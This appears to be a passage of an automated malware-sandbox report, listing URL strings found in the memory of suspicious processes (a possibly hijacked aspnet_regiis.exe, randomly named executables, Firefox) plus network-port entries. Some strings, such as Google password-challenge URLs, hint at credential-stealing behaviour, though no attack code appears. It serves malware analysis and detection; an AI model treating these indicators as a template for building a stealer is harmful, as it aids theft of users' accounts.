Source: aspnet_regiis.exe, 00000009.00000003.2457819365.0000000004EFC000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2458239665.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457965344.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2480753149.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2630126947.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606712669.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2630997878.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606865867.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000003.2831403723.000000001DADD000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp, f5d46eacf9.exe, 00000010.00000003.2752604468.000000000572C000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2779444739.0000000005725000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2753049009.0000000005725000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2779889807.0000000005725000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: aspnet_regiis.exe, 00000009.00000003.2457965344.0000000004ED0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606865867.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2753049009.0000000005700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: aspnet_regiis.exe, 00000009.00000003.2457819365.0000000004EFC000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2458239665.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457965344.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2480753149.0000000004EF5000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2630126947.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606712669.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2630997878.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606865867.0000000005BD2000.00000004.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000003.2831403723.000000001DADD000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp, f5d46eacf9.exe, 00000010.00000003.2752604468.000000000572C000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2779444739.0000000005725000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2753049009.0000000005725000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2779889807.0000000005725000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: aspnet_regiis.exe, 00000009.00000003.2457965344.0000000004ED0000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2606865867.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2753049009.0000000005700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D25000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/asyncEmitManifestEntry(
Source: firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://0128cb26-82a4-47d0-b618-034592b56
Source: firefox.exe, 00000033.00000003.2924254375.000001FD02980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2941146283.000001FD02876000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2939954022.000001FD02A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2923957056.000001FD029BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.G
Source: f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000033.00000003.3119301736.000001FD0352F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchWikipedia
Source: firefox.exe, 00000033.00000003.2979377409.000001FD029AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchpictureinpicture
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000CF4000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000CF4000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000DD7000.00000040.00000001.01000000.0000000F.sdmp, a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000CF4000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000DD7000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000CF4000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: aspnet_regiis.exe, 00000009.00000003.2507186445.0000000004FC9000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2661517779.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000003.3005276181.0000000023D10000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000025.00000002.2857909402.00000152269CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000033.00000003.3131635316.000001FD03524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: aspnet_regiis.exe, 00000009.00000003.2507186445.0000000004FC9000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2661517779.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000003.3005276181.0000000023D10000.00000004.00000020.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2819359114.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000CF4000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 00000025.00000002.2857909402.000001522690A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001E.00000003.2838629090.00000208902F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000022.00000002.2863033086.00000186073D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 00000025.00000002.2861855433.0000015226AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig.G
Source: firefox.exe, 00000032.00000002.2902536123.000001484E240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.2727085235.000001869A428000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2748595256.0000019B4F29F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000032.00000002.2902536123.000001484E24B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001E.00000003.2733431704.00000208FEB43000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2856303707.0000018606EA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2863033086.00000186073D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2855517225.0000015226610000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2861855433.0000015226AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: 9777a59422.exe, 00000011.00000003.2756319957.00000000012FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdZ
Source: firefox.exe, 00000022.00000002.2856303707.0000018606EAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdi

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
